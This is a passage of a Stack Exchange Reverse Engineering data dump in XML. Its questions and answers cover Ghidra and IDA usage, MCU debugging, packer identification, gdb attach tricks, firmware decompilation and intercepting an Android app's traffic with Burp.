  <row Id="23405" PostTypeId="2" ParentId="21322" CreationDate="2020-03-09T06:39:33.503" Score="1" Body="&lt;p&gt;This workaround is suggested by GitHub user ubitux, here: &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1510&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/1510&lt;/a&gt;, and I can confirm it works around the problem to some degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you &quot;Commit Locals&quot; for the function, some variable types and the names will be fixed, and the variable scopes will become smaller, so that one variable will be automatically split across multiple scopes. You can then iteratively annotate variable types, rename variables, commit, and the scopes will shrink further.&lt;/p&gt;&#xA;" OwnerUserId="31347" LastActivityDate="2020-03-09T06:39:33.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23410" PostTypeId="2" ParentId="13689" CreationDate="2020-03-10T06:06:12.000" Score="1" Body="&lt;p&gt;If you have and &lt;code&gt;e io.cache&lt;/code&gt; set to true, then breakpoints don't work&lt;/p&gt;&#xA;" OwnerUserId="31364" LastEditorUserId="31364" LastEditDate="2020-03-10T07:37:45.450" LastActivityDate="2020-03-10T07:37:45.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23412" PostTypeId="1" CreationDate="2020-03-10T17:33:32.743" Score="1" ViewCount="217" Body="&lt;p&gt;Right now I'm performing analysis of a GUI based application and I'm trying to determine all of it's available functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now there's one button remaining labeled &quot;Encrypt&quot;, which is greyed out. Based on the context, it would seem as though this button is responsible not for encrypting communication, but rather for packing the output of the program, using another program. I would like to confirm this directly though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that I don't know how to locate the code that this button would trigger on the backend, or how to find what makes it available or unavailable in the GUI. Where can I find the logic responsible for determining what is available in the GUI, and where can I find what buttons are connected to which functionality using static analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've since run through the loading of the GUI using process monitor and I wasn't able to find any meaningful file query missing, which might shoot down the idea that the &quot;encrypt&quot; button is responsible for packing the payloads.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastEditorUserId="28032" LastEditDate="2020-03-10T21:19:54.710" LastActivityDate="2020-04-21T00:01:05.093" Title="Gui disabled program functionality" Tags="|ida|binary-analysis|tools|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23413" PostTypeId="2" ParentId="23412" CreationDate="2020-03-10T23:03:28.443" Score="0" Body="&lt;p&gt;A few things you could do is go through the strings and see what kind of program it could possibly be loading inside of the software you are reversing. This &lt;em&gt;could&lt;/em&gt; give some leads as to if your hypothesis is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can do is see if it's a module being loaded. Breakpoint on entry when you run the software in a live debugger and see what DLL's and other modules are being loaded into the program. This could also deliver some leads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned that it's greyed out so I'm not certain if you are able to press the button or not, but if you can, try pressing it and then stepping through the program. Perhaps the code was setup in a way that it won't load the module unless the button gets pressed. Then see what changes occur inside of the program with the button being pressed, and without the button being pressed. This could also give some possible leads on if your idea is true or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="30451" LastActivityDate="2020-03-10T23:03:28.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23416" PostTypeId="2" ParentId="2420" CreationDate="2020-03-11T03:53:03.047" Score="1" Body="&lt;p&gt;compiler may insert dumb null_sub randomly between directions, in order to confuse IDA decompiler. So that IDA may generate meaningless variable names, increase reverse engineer's effort to understand the workflow, to connect to dots...&lt;/p&gt;&#xA;" OwnerUserId="31375" LastActivityDate="2020-03-11T03:53:03.047" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23417" PostTypeId="1" CreationDate="2020-03-11T09:43:19.053" Score="1" ViewCount="456" Body="&lt;p&gt;I have managed to compile the GnuDisassembler Ghidra extension, but I only got a single executable, gdis. My questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to 'install' gdis in Ghidra, and if yes, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I use gdis from within Ghidra?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to replace the built-in disassembler with gdis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I 'enable' the additional CPU architectures provided by gdis (in my case ARC600)?&lt;/p&gt;&#xA;" OwnerUserId="31103" LastActivityDate="2020-03-12T12:27:33.140" Title="How do I use GnuDisassembler (gdis) in Ghidra?" Tags="|ghidra|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23418" PostTypeId="1" CreationDate="2020-03-11T11:35:35.820" Score="3" ViewCount="1152" Body="&lt;p&gt;After loading the Windows PE executable into Ghidra SRE, some functions imported from MFC90U.DLL Ghidra does not detect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                DAT_00aea270                   FUN_004ae180:004ae1ee, &#xA;                                               FUN_004b0f40:004b1b84, &#xA;                                               FUN_004bb2b0:004bb475, &#xA;                                               FUN_0067a2f0:0067a332, [more]&#xA;        00aea270 af            ??         AFh     XREF[892]:&#xA;        00aea271 09            ??         09h&#xA;        00aea272 00            ??         00h&#xA;        00aea273 80            ??         80h&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I exactly know that this is a function of CStringT :: Find. Similarly, the CStringT :: Replace function is undefined by Ghidra, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I force the bytes at address 0x00AEA270 to be the type of pointer, then I hover the cursor over the DAT_800009af variable and Ghidra complains &quot;Address: ram: 800009af, Address not in memory&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                PTR_DAT_00aea270               FUN_004ae180:004ae1ee, &#xA;                                               FUN_004b0f40:004b1b84, &#xA;                                               FUN_004bb2b0:004bb475, &#xA;                                               FUN_0067a2f0:0067a332, [more]&#xA;        00aea270 af 09 00 80   addr       DAT_800009af     XREF[892]:&#xA;                                               +----------------------+&#xA;                                               |Address: ram: 800009af|&#xA;                                               |Address not in memory |&#xA;                                               +----------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the same time, other functions from the same MFC90U.DLL are detected correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;             **************************************************************&#xA;             *                POINTER to EXTERNAL FUNCTION                *&#xA;             **************************************************************&#xA;                 CStringT&amp;lt;wchar_t,class_StrTraitMFC_DLL&amp;lt;wchar_t,class_ATL&#xA;             CStringT&amp;lt;wchar    EAX:4          &amp;lt;RETURN&amp;gt;&#xA;             CStringT&amp;lt;wchar    ECX:4 (auto)   this&#xA;             CStringT&amp;lt;wchar    Stack[0x4]:4   param_1&#xA;                811  Ordinal_811  &amp;lt;&amp;lt;not bound&amp;gt;&amp;gt;&#xA;                PTR_operator=_00aea26c         FUN_004cdbe0:004ce2e5,&#xA;                                               FUN_00911be0:00914605, [more]&#xA;        00aea26c 2b 03 00 80   addr       MFC90U.DLL::ATL::CStringT&amp;lt;wchar_t,class_StrTra   XREF[4517]:&#xA;&#xA;             **************************************************************&#xA;             *                POINTER to EXTERNAL FUNCTION                *&#xA;             **************************************************************&#xA;                 int __thiscall ShowWindow(CWnd * this, int param_1)&#xA;             int               EAX:4          &amp;lt;RETURN&amp;gt;&#xA;             CWnd *            ECX:4 (auto)   this&#xA;             int               Stack[0x4]:4   param_1&#xA;                 6604  Ordinal_6604  &amp;lt;&amp;lt;not bound&amp;gt;&amp;gt;&#xA;                 PTR_ShowWindow_00aea278                         ShowWindow:00947004  &#xA;        00aea278 cc 19 00 80    addr       MFC90U.DLL::CWnd::ShowWindow                     XREF[1]:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Moreover, the address of functions that Ghidra does not detect (0x800009af which is CStringT::Find and 0x80001723 which is CStringT::Replace) are located between the addresses 0x8000032b and 0x800019cc, i.e. between the addresses of those functions that Ghidra SRE detects. That is, these addresses cannot be &quot;Address not in memory&quot; by any means!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, in the listing window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    006c88a2 68 8c 98           PUSH       u_&amp;lt;/HeaderData&amp;gt;_00b6988c&#xA;             b6 00&#xA;    006c88a7 8d 8d 34           LEA        ECX=&amp;gt;local_26d0,[EBP + 0xffffd934]&#xA;             d9 ff ff&#xA;                              -&amp;gt; DAT_800009af&#xA;    006c88ad ff 15 70           CALL       dword ptr [PTR_DAT_00aea270]&#xA;             a2 ae 00&#xA;    006c88b3 85 c0              TEST       EAX,EAX&#xA;    006c88b5 7c 13              JL         LAB_006c88ca&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the decompiler window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    iVar4 = (*(code *)&amp;amp;DAT_800009af)(L&quot;&amp;lt;/HeaderData&amp;gt;&quot;,0);&#xA;    if (-1 &amp;lt; iVar4) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only see unknown calls from indirect unknown addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But IDA Pro correctly detects the same imports. Here is the import window with the same imports from IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.idata:00AEA26C ; public: class ATL::CStringT&amp;lt;wchar_t, class StrTraitMFC_DLL&amp;lt;wchar_t, class ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt; &amp;amp; __thiscall ATL::CStringT&amp;lt;wchar_t, class StrTraitMFC_DLL&amp;lt;wchar_t, class ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::operator=(class ATL::CStringT&amp;lt;wchar_t, class StrTraitMFC_DLL&amp;lt;wchar_t, class ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt; const &amp;amp;)&#xA;.idata:00AEA26C                 extrn ??4?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAEAAV01@ABV01@@Z:dword&#xA;.idata:00AEA26C                                         ; CODE XREF: sub_4016D0+15E↑p&#xA;.idata:00AEA26C                                         ; sub_402E30+30↑p ...&#xA;.idata:00AEA270 ; public: int __thiscall ATL::CStringT&amp;lt;wchar_t, class StrTraitMFC_DLL&amp;lt;wchar_t, class ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::Find(wchar_t const *, int)const&#xA;.idata:00AEA270                 extrn ?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z:dword&#xA;.idata:00AEA270                                         ; CODE XREF: sub_401680+1A↑p&#xA;.idata:00AEA270                                         ; sub_403210+8B↑p ...&#xA;.idata:00AEA274 ; public: int __thiscall ATL::CStringT&amp;lt;wchar_t, class StrTraitMFC_DLL&amp;lt;wchar_t, class ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::Replace(wchar_t const *, wchar_t const *)&#xA;.idata:00AEA274                 extrn ?Replace@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAEHPB_W0@Z:dword&#xA;.idata:00AEA274                                         ; CODE XREF: sub_4011C0+269↑p&#xA;.idata:00AEA274                                         ; sub_41A3F0+D7↑p ...&#xA;.idata:00AEA278 ; __declspec(dllimport) public: int __thiscall CWnd::ShowWindow(int)&#xA;.idata:00AEA278                 extrn __imp_?ShowWindow@CWnd@@QAEHH@Z:dword&#xA;.idata:00AEA278                                         ; DATA XREF: CWnd::ShowWindow(int)↑r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the IDA Pro listing window showing the same place inside the executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:006C88A2                 push    offset aHeaderdata ; &quot;&amp;lt;/HeaderData&amp;gt;&quot;&#xA;.text:006C88A7                 lea     ecx, [ebp+var_26CC]&#xA;.text:006C88AD                 call    ds:?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z ; ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::Find(wchar_t const *,int)&#xA;.text:006C88B3                 test    eax, eax&#xA;.text:006C88B5                 jl      short loc_6C88CA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the Hex-Rays decompiler window with the call to this function is also in the same place inside the executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    v18 = ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::Find(&amp;amp;v39, L&quot;&amp;lt;/HeaderData&amp;gt;&quot;, 0);&#xA;    if ( v18 &amp;gt;= 0 )&#xA;    {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I prefer the result of the Ghidra decompiler some more than the Hex-Rays decompiler does, and therefore I would like to use Ghidra at least for this particular executable file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I achieve correct importing with Ghidra? What should I do to fix it? How could I tell Ghidra that these are normal imported functions located at normal addresses inside the executable process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, there is the description of both CStringT::Find and CStringT::Replace inside the file &lt;code&gt;~/ghidra_9.1.2_PUBLIC/Ghidra/Features/Base/data/symbols/win32/mfc90u.exports&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;&#xA;&amp;lt;EXPORT ORDINAL=&quot;2479&quot; NAME=&quot;?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z&quot; PURGE=&quot;-1&quot; COMMENT=&quot;&quot; /&amp;gt;&#xA;&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So Ghidra SRE knows about of these functions are exist and how to correctly name them, but for some reason does not detect and define them properly as imported from MFC90U.DLL. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run Ghidra 9.1.2 public release Feb-12-2020 1149 EST and IDA Pro version 7.1.180227.&lt;/p&gt;&#xA;" OwnerUserId="22870" LastActivityDate="2021-04-12T14:13:36.977" Title="For some reason Ghidra SRE cannot determine some imports" Tags="|ghidra|import-reconstruction|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23419" PostTypeId="1" CreationDate="2020-03-11T13:37:07.693" Score="2" ViewCount="294" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm reverse engineering a chinese MCU.&lt;br&gt;&#xA;The datasheet for this chip is pretty poor, they left out important things like memory map, block diagrams ecc... so i got stuck.&#xA;&lt;strong&gt;This is what i've done:&lt;/strong&gt;&lt;br&gt;&#xA;I got access to the &lt;strong&gt;SWD&lt;/strong&gt; interface (it's like jtag but arm specific) and i can debug stuff through gdb.&#xA;I have begun by taking a look at the main CPU, the datasheet says '128MHz high cpu performance processor', so i can assume it's an &lt;strong&gt;ARM Cortex&lt;/strong&gt; (maybe M3).&lt;br&gt;In memory i found the &lt;strong&gt;vector table&lt;/strong&gt; (placed at 0) and the reset handler (0x4). By now i can start reading code from the entry point (reset handler).&#xA;But the code is big and reading all of that through gdb is annoying, but most important i don't know where things are.&#xA;Well, through the vector table i know where the stack and entry point are. I have the locations of some interrupts that are used in the chip but nothing more.&#xA;The question is, can i figure out the memory map from this few information ?&#xA;How your approach would be with this sort of &quot;challenge&quot; ?&#xA;Thank you :)&lt;/p&gt;&#xA;" OwnerUserId="31379" LastActivityDate="2021-05-11T19:04:10.423" Title="Reverse engineering MCU with &quot;poor&quot; datasheet" Tags="|debugging|arm|embedded|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23420" PostTypeId="1" CreationDate="2020-03-12T00:53:16.727" Score="0" ViewCount="294" Body="&lt;p&gt;my name is eleven and I'm new to reverse engineering and I have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after scanning my program I have wanted to reverse engineer I have walked into a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MQyOD.png&quot; alt=&quot;Text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a program I'm trying to figure out if its vmprotect or upx.&#xA;after scanning with detect it easy it pops up with vmprotect yet after looking pestudio it came with upx seen in this screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8MuOU.png&quot; alt=&quot;Text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help on this?&lt;/p&gt;&#xA;" OwnerUserId="31385" LastActivityDate="2020-03-12T00:53:16.727" Title="problems with figuring out if its vmprotect or upx" Tags="|upx|vmprotect|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23421" PostTypeId="1" CreationDate="2020-03-12T05:01:04.613" Score="-1" ViewCount="110" Body="&lt;p&gt;I am new to this sort of stuff. I just found hardcoded public and private keys in an android app. I just can't figure out what it is being used for. Any advice on that?&lt;/p&gt;&#xA;" OwnerUserId="31362" LastActivityDate="2020-03-12T17:37:07.217" Title="How do I know which class/file in apk is being used for what purpose?" Tags="|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23425" PostTypeId="1" CreationDate="2020-03-12T14:02:08.880" Score="2" ViewCount="83" Body="&lt;p&gt;No matter what video player or video analysis software I throw this video at, neither are able to reproduce or detect the audio track of the video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://1drv.ms/v/s!AqAtR29m3cqGzGYZCreXDA9YaDNa?e=CgcQq6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction video of Wipeout XL PC version (OneDrive link)&lt;/a&gt;, it should be downloaded as the online video player will fail miserably on it. It is playable on any media player that supports MPEG-1 videos such as VLC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is 10926Kib, according to Windows, it's 1000kbps so, 1000 / 8 * 63 = 7875Kib which leaves us with about 3051Kib of hidden content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4GcCx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4GcCx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, it just seems the audio is indeed here but has been obfuscated somehow for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also launched Process Monitor to study log of the game when it plays the video, it does access no other files at all in the game directory as well as in the CD-ROM of the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a reference, &lt;a href=&quot;https://www.youtube.com/watch?v=2ipDrJVCmak&quot; rel=&quot;nofollow noreferrer&quot;&gt;introduction video of Wipeout XL PSX version on YouTube, with audio&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any well-known techniques to obfuscate audio in MPEG videos ?&lt;/p&gt;&#xA;" OwnerUserId="4122" LastActivityDate="2020-03-12T14:02:08.880" Title="Reverse engineering hidden audio track in this MPEG-1 video file?" Tags="|deobfuscation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23426" PostTypeId="1" CreationDate="2020-03-12T16:09:04.220" Score="0" ViewCount="685" Body="&lt;p&gt;Ida allows to turn bytes into a string using the A shortcut&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aTEcN.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also this window to find strings : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zrdby.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can press enter to jump to a specific string, but is it possible to run MakeStrLit on all the selected strings ?&lt;/p&gt;&#xA;" OwnerUserId="31389" LastActivityDate="2020-03-14T21:08:54.160" Title="In IDA's strings window, how to run MakeStrLit on all the selection" Tags="|ida|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23428" PostTypeId="2" ParentId="23421" CreationDate="2020-03-12T17:37:07.217" Score="1" Body="&lt;p&gt;They must be stored in some variable or in resources, You can check all the &lt;strong&gt;usages&lt;/strong&gt; for that variable or where that resource was used  in the classes, and backtrack and see whatever catches your interests&lt;/p&gt;&#xA;" OwnerUserId="31391" LastActivityDate="2020-03-12T17:37:07.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23429" PostTypeId="1" CreationDate="2020-03-12T17:45:18.850" Score="0" ViewCount="492" Body="&lt;p&gt;I'm reverse engineering a Windows application which has a main executable that appears to run some boilerplate/stub code before calling UnityMain and also using Mono. This means that if I use an assembly debugger like x64Dbg, I get stuck in the boilerplate and runtime code. But, if I view the assemblies in dnSpy, it paints an incomplete picture and makes it difficult or impossible to debug the program because the assemblies I'm viewing in dnSpy are just &quot;libraries&quot; and the execution path is initiated from the native code stub which calls &lt;code&gt;UnityMain&lt;/code&gt;. What are some strategies to debug code execution of this type of application?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2020-03-12T17:45:18.850" Title="How can I debug code execution on a Native-&gt;Unity/Mono/C# Application" Tags="|windows|debugging|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23430" PostTypeId="2" ParentId="19644" CreationDate="2020-03-12T20:17:00.817" Score="1" Body="&lt;p&gt;There should be a small window between the new process start and the first break point  hit. So the trick is to collect the new pid with a shell script, feed that &lt;em&gt;pid&lt;/em&gt; to a &lt;code&gt;gdb&lt;/code&gt; command file and then rapidly repeat the command file during the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can use &lt;em&gt;pidof&lt;/em&gt; to get the &lt;em&gt;pid&lt;/em&gt; of your program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;attach $(pidof &amp;lt;program&amp;gt;)&quot; &amp;gt; attach_pid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;em&gt;pidof&lt;/em&gt; would pick up a defunct'ed process if there is one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Unix shell, create an executable file containing the above Unix command. Name it &lt;code&gt;attach.sh&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, defined a &lt;code&gt;gdb&lt;/code&gt; user defined command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define a&#xA;shell . ./attach.sh&#xA;source attach_pid&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Define a long command name will just slow you down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When everything is ready, trigger the program, and quickly during the window for re-attach, just hit &lt;kbd&gt;a&lt;/kbd&gt; and press &lt;kbd&gt;Enter&lt;/kbd&gt; down until &lt;code&gt;gdb&lt;/code&gt; attaches to the process.  Note that a return will repeat the previous command and hold on the Enter key will soon generate a rapidly repeated key stroke.  Also note that when the new &lt;em&gt;pid&lt;/em&gt; is not created yet, the &lt;em&gt;attach_pid&lt;/em&gt; just contains &lt;code&gt;&quot;attach &quot;&lt;/code&gt; and gives error messages.&lt;/p&gt;&#xA;" OwnerUserId="31395" LastEditorUserId="53" LastEditDate="2020-03-13T12:51:26.743" LastActivityDate="2020-03-13T12:51:26.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23431" PostTypeId="1" AcceptedAnswerId="23434" CreationDate="2020-03-13T04:10:54.250" Score="2" ViewCount="912" Body="&lt;p&gt;I'm new to Ghidra so go easy on me. Running it on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After successfully extracting a Bluetooth door lock's firmware from a nRF51, I proceeded to decompile it using Ghidra. My aim is to able to read some of its original source code, even though I understand it won't be as clean as the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, after analyzing the bin file, I get tons of error. Architecture used/tried to solve this issue was both the ARM Cortex LE 32 bit and the ARM v6 LE 32 bit. Looked for solutions on the internet and I did not find anyone with the same issue. All of the errors are &lt;code&gt;Bad Instruction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's pictures of two different analyze:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without ARM Aggressive Instruction Finder (Prototype)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5Ipa2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Ipa2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ARM Aggressive Instruction Finder (Prototype)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/n6tM7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n6tM7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I posted two pictures of my code browser because those two different analysis gave me different amount of bookmark. I know it's because of the Instruction Finder but who knows this might help you to help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried adding a line into my &lt;code&gt;ia.sinc&lt;/code&gt; file as suggested by a user named &lt;em&gt;nsadeveloper789&lt;/em&gt; on a &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/22&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub issue&lt;/a&gt; but it did not solve my issue. I have also tried the &lt;code&gt;No Return&lt;/code&gt; method from a &lt;a href=&quot;https://initrd.net/stuff/ghidra/GhidraDocs/GhidraClass/Advanced/improvingDisassemblyAndDecompilation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDF lesson&lt;/a&gt; (page 11) and no luck as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did used SVD-Loader as well but still doesn't solve the issue as the SVD-Loader's script itself might have an issue and I've commented on this issue on GitHub (currently no specific solution). You can have a look at this issue &lt;a href=&quot;https://github.com/leveldown-security/SVD-Loader-Ghidra/issues/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone knows how to solve this issue? I've been trying for a week or two now and even asked this in the unofficial Ghidra's Discord group but no answer yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward for your answers. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to download the bin file:&#xA;&lt;a href=&quot;https://filebin.net/5abhimciwdfr5gfi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://filebin.net/5abhimciwdfr5gfi&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29929" LastEditorUserId="29929" LastEditDate="2020-03-13T04:34:44.883" LastActivityDate="2020-03-15T09:57:33.997" Title="Tons of error bookmark on Ghidra" Tags="|firmware|ghidra|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23432" PostTypeId="1" CreationDate="2020-03-13T14:22:41.213" Score="1" ViewCount="780" Body="&lt;p&gt;Recently, I was trying to test an app developed on &lt;strong&gt;Rhomobile&lt;/strong&gt;, I setup a proxy with &lt;strong&gt;burp&lt;/strong&gt;, and of course I have installed burp certificate on my device hence I can intercept other apps on my device but I am unable to see the traffic of the app in question on burp suite instead the app works fine and connects to the remote server without even appearing an error alert of the burp suite. in reversing the app I concluded that it is using https protocol to connect to the server. even typically apps targeting android api level 24 and above, a network_security_config.xml should be specified and in my reversing I created that file and set it its location on manifest file but nothing avail. then these questions pop into my mind I would be very pleased if you can clear it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. in general, what am I missing? or where else should I look at?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. specifically Is an app developed on rhomobile is proxy unaware app?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. if the issue is associated with certificate pinning, typically the alert tab of the burp suite would have shown it, why the app is working fine and connecting to the server while other apps leave an error in the alert tab of burp suite? if I conclude that it is a proxy unaware app, how can I finally intercept its traffic?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;any help would be 